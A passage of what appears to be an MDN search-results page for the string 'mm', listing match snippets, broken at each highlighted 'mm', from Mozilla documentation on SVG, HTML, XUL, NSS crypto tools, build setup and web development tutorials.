mmand.
... pathseg_moveto_abs 2 corresponds to an "absolute moveto" (m) path data co
mmand.
...And 18 more matches
Web Video Text Tracks Format (WebVTT) - Web APIs
zero or more cues or co
mments.
... example 3 - co
mmon webvtt example with a header and cues webvtt - this file has cues.
... we can also place co
mments in our .vtt file, to help us remember important information about the parts of our file.
...And 18 more matches
<details>: The Details disclosure element - HTML: Hypertext Markup Language
a su
mmary or label can be provided using the <su
mmary> element.
...if the first child of the <details> element is a <su
mmary>, the contents of the <su
mmary> element are used as the label for the disclosure widget.
... note: the co
mmon use of a triangle which rotates or twists around to represent opening or closing the widget is why these are sometimes called "twisties." a <details> widget can be in one of two states.
...And 18 more matches
x - SVG: Scalable Vector Graphics
specifications specification status co
mment filter effects module level 1the definition of 'x' in that specification.
... candidate reco
mmendation definition for <mask> scalable vector graphics (svg) 2the definition of 'x' in that specification.
... candidate reco
mmendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'x' in that specification.
...And 18 more matches
y - SVG: Scalable Vector Graphics
specifications specification status co
mment filter effects module level 1the definition of 'y' in that specification.
... candidate reco
mmendation definition for <mask> scalable vector graphics (svg) 2the definition of 'y' in that specification.
... candidate reco
mmendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'y' in that specification.
...And 18 more matches
Mozilla release FAQ - Archive of obsolete content
mozilla is a project to continue netscape co
mmunicator as an open project.
... the project is maintained by employees of netscape (now a division of aol), red hat, some other companies, as well as contributors from the co
mmunity.
...the mozilla project started near the end of life of the 4.x line of netscape co
mmunicator.
...And 17 more matches
Encryption and Decryption - Archive of obsolete content
sy
mmetric-key encryption public-key encryption key length and encryption strength sy
mmetric-key encryption with sy
mmetric-key encryption, the encryption key can be calculated from the decryption key and vice versa.
... with most sy
mmetric algorithms, the same key is used for both encryption and decryption, as shown in figure 1.
... implementations of sy
mmetric-key encryption can be highly efficient, so that users do not experience any significant time delay as a result of the encryption and decryption.
...And 17 more matches
NSS tools : modutil
please contribute to the initial review in mozilla nss bug 836477[1] description the security module database tool, modutil, is a co
mmand-line utility for managing pkcs #11 module information both within secmod.db files and within hardware tokens.
...use this co
mmand with the -installdir and -tempdir arguments.
...changing the names of the certificate and key databases is not reco
mmended.
...And 17 more matches
NSS tools : modutil
synopsis modutil [options] arguments description the security module database tool, modutil, is a co
mmand-line utility for managing pkcs #11 module information both within secmod.db files and within hardware tokens.
...use this co
mmand with the -installdir and -tempdir arguments.
...changing the names of the certificate and key databases is not reco
mmended.
...And 17 more matches
nsIDOMWindowUtils
t); void forceupdatenativemenuat(in astring indexstring); void garbagecollect([optional] in nsicyclecollectorlistener alistener); short getcursortype(); astring getdocumentmetadata(in astring aname); nsidomwindow getouterwindowwithid(in unsigned long long aouterwindowid); long getpccountscriptcount(); astring getpccountscriptsu
mmary(in long ascript); astring getpccountscriptcontents(in long ascript); void getscrollxy(in boolean aflushlayout, out long ascrollx, out long ascrolly); astring getvisiteddependentcomputedstyle(in nsidomelement aelement, in astring apseudoelement, in astring apropertyname); boolean isinmodalstate(); void leavemodalstate(); void loads...
... void removesheet(in nsiuri sheeturi, in unsigned long type); void resumetimeouts(); void sendcompositionevent(in astring atype); obsolete since gecko 9 void sendcompositionevent(in astring atype, in astring adata, in astring alocale); obsolete since gecko 38.0 void sendcontentco
mmandevent(in astring atype, [optional] in nsitransferable atransferable); void getclassname(in object aobj); boolean sendkeyevent(in astring atype, in long akeycode, in long acharcode, in long amodifiers, [optional] in boolean apreventdefault); obsolete since gecko 15.0 boolean sendkeyevent(in astring atype, in long akeycode, in long acharcode, in long amodifiers, [opt...
... getpccountscriptsu
mmary() returns a su
mmary of the profile information for a script.
...And 17 more matches
Web audio codec guide - Web media technologies
additionally, webrtc implementations generally use a subset of these codecs for their encoding and decoding of media, and may support additional codecs as well, for optimal cross-platform support of video and audio conferencing, and to integrate better with legacy teleco
mmunication solutions.
... co
mmon codecs the list below denotes the codecs most co
mmonly used on the web and which containers (file types) support them.
... generally speaking, the most co
mmon reasons to choose lossless audio are because you require archival-quality storage, or because the audio samples will be remixed and recompressed, and you wish to avoid the amplification of artifacts in the audio due to recompression.
...And 17 more matches
xlink:href - SVG: Scalable Vector Graphics
if the xlink:href attribute is not provided, the target element will be the i
mmediate parent element of the current animation element.
... value <iri> default value none animatable yes specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'href for <a>' in that specification.
... reco
mmendation defines href for the <a> element.
...And 17 more matches
Adding Event Handlers - Archive of obsolete content
we would want to add a script to handle the find button, the cancel button and to handle each menu co
mmand.
... the most co
mmon event used is the 'co
mmand' event.
... the co
mmand event is fired when a user activates an element, for example by pressing a button, changing a checkbox or selecting an item from a menu.
...And 16 more matches
Broadcasters and Observers - Archive of obsolete content
co
mmand attribute forwarding we've already seen that elements such as buttons can be hooked up to co
mmands.
... in addition, if you place the disabled attribute on the co
mmand element, any elements hooked up to it will also become disabled automatically.
...for instance, if you place a label attribute on a co
mmand element, any buttons attached to the co
mmand will share the same label.
...And 16 more matches
Organizing your CSS - Learn web development
prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn some tips and best practices for organizing stylesheets, and find out about some of the naming conventions and tools in co
mmon usage to help with css organization and team working.
... co
mment your css adding co
mments to your css will help any future developer work with your css file, but will also help you when you come back to the project after a break.
... /* this is a css co
mment it can be broken onto multiple lines.
...And 16 more matches
HTML text fundamentals - Learn web development
to answer this question, let's take a look at text-start.html—the starting point of our running example for this article (a nice hu
mmus recipe).
... milk eggs bread hu
mmus every unordered list starts off with a <ul> element—this wraps around all the list items: <ul> milk eggs bread hu
mmus </ul> the last step is to wrap each list item in a <li> (list item) element: <ul> <li>milk</li> <li>eggs</li> <li>bread</li> <li>hu
mmus</li> </ul> active learning: marking up an unordered list try editing the live sample below to create your very own html unorder...
... playable code <h2>live output</h2> <div class="output" style="min-height: 50px;"> </div> <h2>editable code</h2> <p class="a11y-label">press esc to move focus away from the code area (tab inserts a tab character).</p> <textarea id="code" class="input" style="min-height: 100px; width: 95%">milk eggs bread hu
mmus</textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px; background: #f5f9fa; } var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var solution = documen...
...And 16 more matches
Website security - Learn web development
this introductory article won't make you a website security guru, but it will help you understand where threats come from, and what you can do to harden your web application against the most co
mmon attacks.
... objective: to understand the most co
mmon threats to web application security and what you can do to reduce the risk of your site being hacked.
...while all that sounds very ominous, the good news is that if you're using a server-side web framework, it will almost certainly enable "by default" robust and well-thought-out defense mechanisms against a number of the more co
mmon attacks.
...And 16 more matches
How to get a stacktrace with WinDbg
you should now see a "co
mmand" text window with debug output at the top and an input box at the bottom.
... before debugging can start, several co
mmands must be entered into the one-line input box at the bottom of the co
mmand window.
... tip: all co
mmands must be entered exactly as written, one line at a time, into the bottom of the co
mmand box.
...And 16 more matches
Python binding for NSS
nss is built upon nspr because nspr provides an abstraction of co
mmon operating system services, particularly in the areas of networking and process management.
... python also provides an abstraction of co
mmon operating system services but because nss and nspr are tightly bound python-nss exposes elements of nspr.
...progra
mmers already familiar with nss/nspr will be quite comfortable with python-nss.
...And 16 more matches
Accessibility documentation index - Accessibility
found 105 pages: # page tags and su
mmary 1 accessibility accessibility, landing accessibility (often abbreviated to a11y—as in "a" then 11 characters then "y") in web development means enabling as many people as possible to use web sites, even when those people's abilities are limited in some way.
...it supplements html so that interactions and widgets co
mmonly used in applications can be passed to assistive technologies 3 aria screen reader implementors guide aria, accessibility this is just a guide.
... 5 aria annotations aria, accessibility, wai-aria, annotations, co
mments, details, suggestions wai-aria version 1.3 sees the addition of a set of new features, collectively known as aria annotations, which allow the creation of accessible annotations inside web documents.
...And 16 more matches
A re-introduction to JavaScript (JS tutorial) - JavaScript
because javascript is notorious for being the world's most misunderstood progra
mming language.
...it was originally going to be called livescript, but it was renamed in an ill-fated marketing decision that attempted to capitalize on the popularity of sun microsystem's java language — despite the two having very little in co
mmon.
... unlike most progra
mming languages, the javascript language has no concept of input or output.
...And 16 more matches
widget - Archive of obsolete content
you can co
mmunicate with the script using either the postmessage() api or (preferably, usually) the port api.
... like a content script, these scripts can co
mmunicate with the add-on code using the postmessage() api or the port api.
...var mywidget = widgets.widget({ id: "widget-effect", label: "wide widget that grows wider on a timer", content: "i'm getting longer.", width: 50, }); require("sdk/timers").setinterval(function() { mywidget.width += 10; }, 1000); // a widget co
mmunicating bi-directionally with a content script.
...And 15 more matches
jpm - Archive of obsolete content
jpm is a co
mmand-line tool that enables you to test, run, and package add-ons.
... jpm usage is: jpm [co
mmand] [options] jpm supports the following global options: -h, --help - show a help message and exit -v, --version - print the jpm version number --addon-dir - directory for your source code, defaulting to the current directory installation jpm is distributed with the node package manager npm.
...e $home/.profile to add it to your path permanently (as the file .profile is executed every time a new terminal is opened): export path="$home/node_modules/.bin/:$path" installing jpm from git alternatively, you can also get the latest version of jpm using git: git clone https://github.com/mozilla-jetpack/jpm.git cd jpm npm install npm link after installing jpm after installation, at the co
mmand prompt, type: jpm you should see a screen su
mmarizing the available jpm co
mmands.
...And 15 more matches
The Essentials of an Extension - Archive of obsolete content
unix-based systems have a co
mmand line tool called uuidgen that generates uuids.
...the enclosing brackets are just notation, and they're just co
mmon practice.
...testing your add-ons with every firefox version is always reco
mmended, though.
...And 15 more matches
Mozilla Crypto FAQ - Archive of obsolete content
if you wish to develop and distribute cryptographic software, particularly for co
mmercial sale or distribution, then you should consult an attorney with expertise in the particular laws and regulations that apply in your jurisdiction.
...in february 2000 iplanet e-co
mmerce solutions (a sun-netscape alliance) released source code through mozilla.org for the personal security manager and network security services software; this source code included support for the ssl protocol, but due to the rsa patent and related legal issues it did not originally contain code for rsa or other cryptographic algorithms.
...department of co
mmerce press release announcing the new regulations as well as the updated regulations (pdf) themselves.
...And 15 more matches
Gecko Compatibility Handbook - Archive of obsolete content
these browsers were developed before the relevant w3c reco
mmendations for html, css, and the dom existed.
...for more solutions to co
mmon problems please continue reading this handbook.
... testing aol from within a firewall if you need to connect to aol via a corporate firewall, america online has registered tcp/ip ports 5190 and 11523 so you can co
mmunicate with the aol client software.
...And 15 more matches
Deployment and next steps - Learn web development
prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line.
... note: there is also an official template for using webpack and also many co
mmunity-maintained plugins for other bundlers.
...vercel is a cloud platform specifically tailored for static sites, which has out-of-the-box support for most co
mmon front-end tools, svelte being one of them.
...And 15 more matches
Debugging on Mac OS X
rather than disabling sip (which has security implications), it is reco
mmended to debug with try builds or local builds.
... to obtain a hardened runtime build without using try infrastructure, a developer can manually codesign builds using the macos codesign(1) co
mmand with the developer.entitlements.xml file from the tree.
...note that disabling sip bypasses hardened runtime restrictions which can mask some bugs that only occur with hardened runtime so it is reco
mmended to test fixes with sip enabled.
...And 15 more matches
Bootstrapping a new locale
(you should "cd" to the directory before beginning.) in the terminal, type the following co
mmand: $ hg clone http://hg.mozilla.org/releases/mozilla-x.x.x/ where "x.x.x" is the existing release branch version.
... if you are interested in localizing thunderbird 3, seamonkey 2 or other mozilla projects based on gecko 1.9.1 you'll need to follow the instructions on getting the source-code of the co
mm-central repository.
... before you run the copy co
mmands, you need to make the locale directory at the same level as the mozilla-1.9.x/ you just cloned from above.
...And 15 more matches
MathML Accessibility in Mozilla
at the moment, it is reco
mmended to use a nightly build to ensure that the accessible tree expected by orca is correctly exposed.
... x plus y enclosed by: an arabic factorial symbol x + y up madruwb enclosed abcd e __________ open a co
mma b co
mma c co
mma d co
mma e close __________ not supported.
...a co
mma.
...And 15 more matches
gtstd.html
figure 2.1 relationships among nss libraries, cryptographic modules, slots, and tokens as shown in the figure, ssl co
mmunicates with pkcs #11 modules through the pkcs #11 interface.
... the co
mmunicator certificate db token handles all co
mmunication with the certificate and key database files (called certx.db and keyx.db, respectively, where x is a version number) that store certificates and keys.
...the fips 140-1 module includes a single, built-in fips 140-1 certificate db token (see figure 2.1), which handles both cryptographic operations and co
mmunication with the certx.db and keyx.db files.
...And 15 more matches
NSS Tools certutil
using the certificate database tool the certificate database tool is a co
mmand-line utility that can create and modify the netscape co
mmunicator cert8.db and key3.db database files.
... syntax to run the certificate database tool, type the co
mmand certutil option [arguments ] where options and arguments are combinations of the options and arguments listed in the following section.
... each co
mmand takes one option.
...And 15 more matches
All keyboard shortcuts - Firefox Developer Tools
co
mmand windows macos linux open toolbox (with the most recent tool activated) ctrl + shift + i cmd + opt + i ctrl + shift + i bring toolbox to foreground (if the toolbox is in a separate window and not in foreground) ctrl + shift + i or f12 cmd + opt + i or f12 ctrl + shift + i or f12 close toolbox (if the toolbox is in a separate window and in fo...
...instead, it focuses on the web console's co
mmand line.
... co
mmand windows macos linux cycle through tools left to right ctrl + ] cmd + ] ctrl + ] cycle through tools right to left ctrl + [ cmd + [ ctrl + [ toggle between active tool and settings.
...And 15 more matches
Event reference
most co
mmon categories resource events event name fired when error a resource failed to load.
... storage events change (see non-standard events) storage update events checking downloading error noupdate obsolete updateready value change events broadcast checkboxstatechange hashchange input radiostatechange readystatechange valuechange uncategorized events invalid message message open show less co
mmon and non-standard events abortable fetch events event name fired when abort a dom request is aborted, i.e.
... svg events svgabort svgerror svgload svgresize svgscroll svgunload svgzoom database events abort blocked complete error success upgradeneeded versionchange script events afterscriptexecute beforescriptexecute menu events do
mmenuitemactive do
mmenuiteminactive window events close popup events popuphidden popuphiding popupshowing popupshown tab events visibilitychange battery events chargingchange chargingtimechange dischargingtimechange levelchange call events alerting busy callschanged cfstatechange connecting dialing disconnected disconnecting error held, holding incoming resuming statechange voicechange sensor events compassneedscalibration devicemotion deviceorientation orientationchange smartcard events icccardlockerror iccinf...
...And 15 more matches
XUL Events - Archive of obsolete content
the event handler should be placed on an observer.checkboxstatechangethe checkboxstatechange event is executed when the state of a <checkbox> element has changed.closethe close event is executed when a request has been made to close the window when the user presses the close button.co
mmandthe co
mmand event is executed when an element is activated.co
mmandupdatethe co
mmandupdate event is executed when a co
mmand update occurs on a <co
mmandset>.
... this event would be used to update the disabled status of its co
mmands.do
mmenuitemactivethe do
mmenuitemactive event is executed when a <menu> or a <menuitem> has been hovered or highlighted.do
mmenuiteminactivethe do
mmenuiteminactive event is executed when a <menu> or a <menuitem> in no longer hovered or highlighted.popuphiddenthe popuphidden event is executed when a <menupopup>, <panel> or <tooltip> has become hidden.popuphidingthe popuphiding event is executed when a <menupopup>, <panel> or <tooltip> is about to be hidden.popupshowingthe popupshowing event is executed when a <menupopup>, <panel> or <tooltip> is about to become visible.
...you should not use this event in xul to respond to user actions; the co
mmand event should be used instead.
...And 14 more matches
Adobe Flash - Archive of obsolete content
this article explains how javascript can be used to access methods from within the flash plugin, as well as how a feature called fsco
mmands can be used to access javascript functions from within the flash animation.
...however, if you wish to use fsco
mmands with the flash plugin to call javascript functions in an html page, then you must use the embed element, as discussed further in the section on fsco
mmands.
... example 2: javascript to flash co
mmunication note: javascript to flash co
mmunication may not work with flash player versions older than version 8 if the user has installed multiple mozilla based browsers onto the same machine (see bug 284057 and bug 233533).
...And 14 more matches
Introduction to Public-Key Cryptography - Archive of obsolete content
public-key cryptography and related standards and techniques underlie the security features of many products such as signed and encrypted email, single sign-on, and secure sockets layer (ssl) co
mmunications.
...for an overview of ssl, see "introduction to ssl." for an overview of encryption and decryption, see "encryption and decryption." information on digital signatures is available from "digital signatures." public-key cryptography is a set of well-established techniques and standards for protecting co
mmunications from eavesdropping, tampering, and impersonation attacks.
... encryption and decryption allow two co
mmunicating parties to disguise information they send to each other.
...And 14 more matches
Looping code - Learn web development
previous overview: building blocks next progra
mming languages are very useful for rapidly completing repetitive tasks, from multiple basic calculations to just about any other situation where you've got a lot of similar items of work to complete.
...as well as being associated with popular breakfast cereals, roller coasters, and musical production, they are also a critical concept in progra
mming.
... progra
mming loops are all to do with doing the same thing over and over again — which is termed iteration in progra
mming speak.
...And 14 more matches
Old Thunderbird build
8 gb or more is reco
mmended.
...you can pick any other location, such as a new directory c:/thunderbird-src (where "c:/", with a forward slash, is intentional to clarify you are in the mozillabuild co
mmand prompt per windows build prerequisite).
... get the latest source code from mozilla's co
mm-central mercurial code repository: hg clone https://hg.mozilla.org/co
mm-central then, get all the repositories it depends on.
...And 14 more matches
Eclipse CDT
therefore, it is not reco
mmended for use if your machine only has 4 gb of ram.
...since it's a pain to install them and keep them up to date we do not reco
mmend getting eclipse this way.) increase eclipse's memory limits!
...in the case of the build-backend co
mmand, instructions on how to open the project will be displayed after the co
mmand completes.
...And 14 more matches
Application Translation with Mercurial
file comparison program for the translation, it is reco
mmend to use file comparison program to compare the english file (containing the new texts) with the file of your locale (which is still missing the new strings).
... thunderbird, lightning or seamonkey: download the co
mm-<branch>.hg file (e.g.
... co
mm-aurora.hg) from https://ftp.mozilla.org/pub/mozilla.org/thunderbird/bundles/ in the next step, we will unpack the source code: open an input shell, e.g.
...And 14 more matches
Creating localizable web applications
listed below are good practices and reco
mmendations that should be followed in order to make your content easily localizable.
...in some cases, the code snippets were slightly changed to better illustrate the reco
mmendations or for clarity.
...in gettext use co
mments and contexts).
...And 14 more matches
nss tech note5
of key bytes */ keyitem.len = /* length of the array of key bytes */ /* turn the secitem into a key object */ pk11symkey* symkey = pk11_importsymkey(slot, ciphermech, pk11_originunwrap, cka_encrypt, &keyitem, null); if generating the key - see section generate a sy
mmetric key <big>prepare the parameter for crypto context.
... of key bytes */ keyitem.len = /* length of the array of key bytes */ /* turn the secitem into a key object */ pk11symkey* symkey = pk11_importsymkey(slot, digestmech, pk11_originunwrap, cka_digest, &keyitem, null); if generating the key - see section generate a sy
mmetric key.
...ray of key bytes */ keyitem.len = /* length of the array of key bytes */ /* turn the secitem into a key object */ pk11symkey* symkey = pk11_importsymkey(slot, hmacmech, pk11_originunwrap, cka_sign, &keyitem, null); if generating the key - see section generate a sy
mmetric key.
...And 14 more matches
Web Replay
ipc integration allows a replaying process to co
mmunicate with the chrome process using ipdl and shared memory.
... the rewind infrastructure allows a replaying process to restore a previous state, while still maintaining co
mmunication with the chrome process.
... both of these involve inter-thread co
mmunication and calls to non-deterministic apis, and the resulting non-determinism must be allowed within the replaying process.
...And 14 more matches
An Overview of XPCOM
modular, component-based progra
mming makes software easier to develop and maintain and has some well-known advantages: benefit description reuse modular code can be reused in other applications and other contexts.
...the best way to tackle a project of this size is to divide it into smaller, more manageable pieces, use a component progra
mming model, and to organize related sets of components into modules.
...the basic idea is to identify the pieces of functionality that are related and understand how they co
mmunicate with each other.
...And 14 more matches
nsITextInputProcessor
.idlscriptable this interface is a text input events synthesizer and manages its composition and modifier state 1.0 66 introduced gecko 38 inherits from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) the motivation of this interface is to provide better api than nsidomwindowutils to dispatch key events and create, modify, and co
mmit composition in higher level.
... finally, when you co
mmit the composition with the last composition string, just do this: tip.co
mmitcomposition(); when you co
mmit composition with specific string, specify co
mmit string with its argument: tip.co
mmitcompositionwith("foo-bar-buzz"); when you cancel composition, just do this: tip.cancelcomposition(); when you dispatch keydown event (and one or more keypress events), just do this: var keyevent = ...
...var dodefault = tip.keydown(keyevent); when you dispatch keyup event, just do this: var keyevent = new keyboardevent("", { key: "a", code: "keya", keycode: keyboardevent.dom_vk_a }); var dodefault = tip.keyup(keyevent); startcomposition(), flushpendingcomposition(), co
mmitcomposition(), co
mmitcompositionwith(), and cancelcomposition() can take a keyboardevent which causes modifying the composition state.
...And 14 more matches
Mozilla
these articles provide important guides and references to ensuring the code you write is secure, including both design reco
mmendations and testing guidelines.
... co
mmand line options co
mmand line options are used to specify various startup options for mozilla applications.this page describes the co
mmonly used options and how to use them.
... you can open the co
mmand line interface by pressing shift + f2.
...And 14 more matches
HTML elements reference - HTML: Hypertext Markup Language
this element is most co
mmonly used to link to stylesheets, but is also used to establish site icons (both "favicon" style icons and icons for the home screen and apps on mobile devices) among other things.
...co
mmon examples of navigation sections are menus, tables of contents, and indexes.
...co
mmon uses for this element are to implement a glossary or to display metadata (a list of key-value pairs).
...And 14 more matches
Notes on HTML Reflow - Archive of obsolete content
some reflows are i
mmediate in response to user or script actions; for example, resizing the window or changing the document's default font.
... initial, incremental, resize, and style change reflows may each be performed as an i
mmediate "global" reflow from the presentation shell: an initial reflow is performed when the presentation shell is initialized to flow the shell's initial frame hierarchy.
...to request (or schedule ) an incremental reflow (e.g., in response to a change in the content model), a reflow co
mmand object is created and passed to the presentation shell via the nsipresshell::appendreflowco
mmand method.
...And 13 more matches
Installer Script - Archive of obsolete content
logco
mment("insufficient disk space: " + dirpath); 13.
... logco
mment(" required : " + spacerequired + " k"); 14.
... logco
mment(" available: " + spaceavailable + " k"); 15.
...And 13 more matches
textbox (Toolkit autocomplete) - Archive of obsolete content
p, autocompletesearch, autocompletesearchparam, completedefaultindex, completeselectedindex,crop, disableautocomplete, disabled, disablekeynavigation, enablehistory, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputtooltiptext, label, maxlength, maxrows, minresultsforpopup, nomatch, onchange, oninput, onsearchcomplete, ontextentered, ontextreverted, open, readonly,showco
mmentcolumn, showimagecolumn, size, tabindex, tabscrolling, timeout, type, value properties accessibletype, completedefaultindex, controller, crop, disableautocomplete, disablekeynavigation, disabled, editable, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputfield, label, maxlength, maxrows, minresultsforpopup, open, popup, popupopen, searchcount, searchparam, s...
...electionend, selectionstart, showco
mmentcolumn, showimagecolumn,size, tabindex, tabscrolling, textlength, textvalue, timeout, type, value methods getsearchat, onsearchcomplete, ontextentered, ontextreverted, select, setselectionrange examples <textbox type="autocomplete" autocompletesearch="history"/> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
...And 13 more matches
Strategies for carrying out testing - Learn web development
previous overview: cross browser testing next this article starts the module off by providing an overview of the topic of (cross) browser testing, answering questions such as "what is cross-browser testing?", "what are the most co
mmon types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross-browser testing.
...you can make this as simple or as complex as you like — for example a co
mmon approach is to have multiple grades of support level, something like: a grade: co
mmon/modern browsers — known to be capable.
...certain countries, or locales), then you will probably have different co
mmon browsers to test.
...And 13 more matches
HTTP logging
don't let the scary-looking co
mmand line stuff frighten you off; it's not hard at all!
... open a co
mmand prompt.
... on windows xp, you can find the "run..." co
mmand in the start menu's "all programs" submenu.
...And 13 more matches
Simple Instantbird build
build prerequisites hardware requirements: while you can build instantbird on older hardware it can take quite a bit of time to compile on slower machines, and having 8gb of ram is reco
mmended (though you can probably still get away with 4gb).
... get the latest source code from mozilla's co
mm-central mercurial code repository: hg clone http://hg.mozilla.org/co
mm-central then, get all the repositories it depends on.
... the co
mm-central repository includes a script to do just that.
...And 13 more matches
Eclipse CDT Manual Setup
setup time some points in the rest of this document below are old and taken care of by the mach co
mmands described above (although some of the project configuration is not done automatically yet).
...if relative paths are used to specify the source file or any of its include paths (co
mmon in mozilla), and if you fail to take steps to make sure the build output specifies which directory the compiler is invoked from, this will not be possible.
... the consequences of the above observations are this: it is strongly reco
mmended that you invoke your normal (re)builds from the co
mmand line, externally of eclipse.
...And 13 more matches
QA phase
if you're localizing mozilla websites, your work will display soon after you've co
mmitted it without needing a language pack.
... please either follow the above structure closely or adjust the co
mmands below according to your custom setup.
... to copy this file to the appropriate directory, do the following: navigate to your working directory from your co
mmand-line terminal (i.e., where you created the folder structure described above).
...And 13 more matches
nsIJumpListBuilder
widget/public/nsijumplistbuilder.idlscriptable please add a su
mmary to this article.
...callers should begin the creation of a new jump list using initlistbuild(), add sub lists using addlisttobuild(), then co
mmit the jump list using co
mmitlistbuild().
...users may remove items from jump lists after they are co
mmitted.
...And 13 more matches
Using the Web Speech API - Web APIs
speech recognition speech recognition involves receiving speech through a device's microphone, which is then checked by a speech recognition service against a list of gra
mmar (basically, the vocabulary you want to have recognised in a particular app.) when a word or phrase is successfully recognised, it is returned as a result (or list of results) as a text string, and further actions can be initiated as a result.
... the web speech api has a main controller interface for this — speechrecognition — plus a number of closely-related interfaces for representing gra
mmar, results, etc.
... generally, the default speech recognition system available on the device will be used for the speech recognition — most modern oses have a speech recognition system for issuing voice co
mmands.
...And 13 more matches
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
the screen reader user can navigate the web page using screen reader co
mmands or browser co
mmands, and the two pieces of software must remain in sync.
...this is so co
mmonly done, that no one even bothers to support the msaa caret, after all the hack is general solution works with pretty much all applications.
... when to use msaa, and when not to it's a co
mmon mistake to say that msaa is not worth using, for a number of reasons.
...And 13 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
not reco
mmended.
...this table is followed by a list describing each attribute in greater detail, along with which input types they are associated with.those that are co
mmon to most or all input types are defined in greater detail below.
... attributes that are unique to particular input types—or attributes which are co
mmon to all input types but have special behaviors when used on a given input type—are instead documented on those types' pages.
...And 13 more matches
HTTP Index - HTTP
this page lists all mdn http pages along with their su
mmary and tags.
... found 277 pages: # page tags and su
mmary 1 http http, hypertext, reference, tcp/ip, web, web development, l10n:priority hypertext transfer protocol (http) is an application-layer protocol for transmitting hypermedia documents, such as html.
... it was designed for co
mmunication between web browsers and web servers, but it can also be used for other purposes.
...And 13 more matches
Authoring MathML - MathML
it's reco
mmended to convert your content mathml markup into presentation mathml before publishing it, for example with the help of the ctop.xsl stylesheet.
...in thunderbird, you can use the "insert html" co
mmand to paste your html+mathml code.
...the same is true for mathml: for example ascii syntaxes as used in calculators or the more powerful latex language, very popular among the scientific co
mmunity.
...And 13 more matches
/loader - Archive of obsolete content
create co
mmonjs module loaders.
... it can be loaded as a regular script tag in documents that have system principals (note: this does not appear to work as of 02.2016 due to "use strict" being added to the file): <script type='application/javascript' src='resource://gre/modules/co
mmonjs/toolkit/loader.js'></script> this will expose a single loader object containing all of the api functions described in this document.
... it can be loaded as a javascript code module: let { loader, require, unload } = components.utils.import('resource://gre/modules/co
mmonjs/toolkit/loader.js'); it can be required as a co
mmonjs module from a module loaded in the loader itself: let { loader, require, unload } = require('toolkit/loader'); what is it good for ?
...And 12 more matches
Index of archived content - Archive of obsolete content
lowship program api navigator navigator.moznotification add-ons add-on sdk builder guides content scripts co
mmunicating with other scripts co
mmunicating using "port" co
mmunicating using "postmessage" cross-domain content scripts interacting with page scripts loading content scripts reddit example port self contributor's...
... sidebar stringview tabbox toolbar tree uri parsing view source for xul applications windows xml-related code snippets xml:base support in old browsers xpath getattributens co
mmon pitfalls co
mmunication between html and your extension creating custom firefox extensions with the mozilla build system custom about: urls default preferences deploying a plugin as an extension developing add-ons displaying web content in an extension without security issues downloading json and javascript in extens...
...roduction to xul—how to build a more intuitive ui chapter 4: using xpcom—implementing advanced processes chapter 5: let's build a firefox extension chapter 6: firefox extensions and xul applications license and authors xul school tutorial adding events and co
mmands adding toolbars and toolbar buttons adding menus and submenus adding sidebars adding windows and dialogs appendix a: add-on performance appendix b: install and uninstall scripts appendix c: avoiding using eval in add-ons appendix d: loading scripts appendix e: dom buil...
...And 12 more matches
Menu - Archive of obsolete content
this method and set() are the reco
mmended methods of adding items to a menu.
...if the menu is visible, it will reflect the changes i
mmediately.
...this method and add() are the reco
mmended methods of adding items to a menu.
...And 12 more matches
Getting started with Ember - Learn web development
prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line.
...ember also has i
mmense backwards and forwards compatibility to help businesses stay up to date with the latest versions of ember and latest co
mmunity-driven conventions.
... increasing cohesion among many team's technology stacks co
mmunity-backed "best practices" allow for faster long-term development speed.
...And 12 more matches
SVN for Localizers
the svn client is the localizer's co
mmunication portal for accessing the mozilla svn server.
... mac os x users can find svn inside the co
mmand line tools (available on the apple developer website), or use tools like homebrew or fink.
...a possible alternative is to install tortoisesvn (graphical interface and co
mmand line client).
...And 12 more matches
Enc Dec MAC Output Public Key as CSR
n key label-----" #define lab_trailer "-----end key label-----" #define pubkey_header "-----begin pub key -----" #define pubkey_trailer "-----end pub key -----" #define ns_certreq_header "-----begin new certificate request-----" #define ns_certreq_trailer "-----end new certificate request-----" typedef enum { gen_csr, encrypt, decrypt, unknown } co
mmandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4, pubkey = 5, lab = 6 } headertype; /* this is conditionalized because port_errortostring was introduced with nss 3.13.
...s as an input file and produces\n", "note :"); fprintf(stderr, "%-7s .enc and .header as intermediate output files.\n\n", ""); fprintf(stderr, "%-7s for decrypt, it takes .enc and .header\n", ""); fprintf(stderr, "%-7s as input files and produces as a final output file.\n\n", ""); exit(-1); } /* map option letter enumerated co
mmad type */ static co
mmandtype option2co
mmand(const char* c) { switch (*c) { case 'g': return gen_csr; case 'e': return encrypt; case 'd': return decrypt; default: return unknown; } } /* * wrap the symkey using public key */ secstatus wrapkey(pk11symkey* key, seckeypublickey *pubkey, secitem **wrappedkey) { secstatus rv; secitem *data = (secitem *)port_zalloc(siz...
...pr_stderr, "error while allocating memory\n"); rv = secfailure; goto cleanup; } rv = pk11_pubwrapsymkey(ckm_rsa_pkcs, pubkey, key, data); if (rv != secsuccess) { rv = secfailure; } else { *wrappedkey = data; return secsuccess; } cleanup: if (data) { secitem_freeitem(data, pr_true); } return rv; } /* * generate a sy
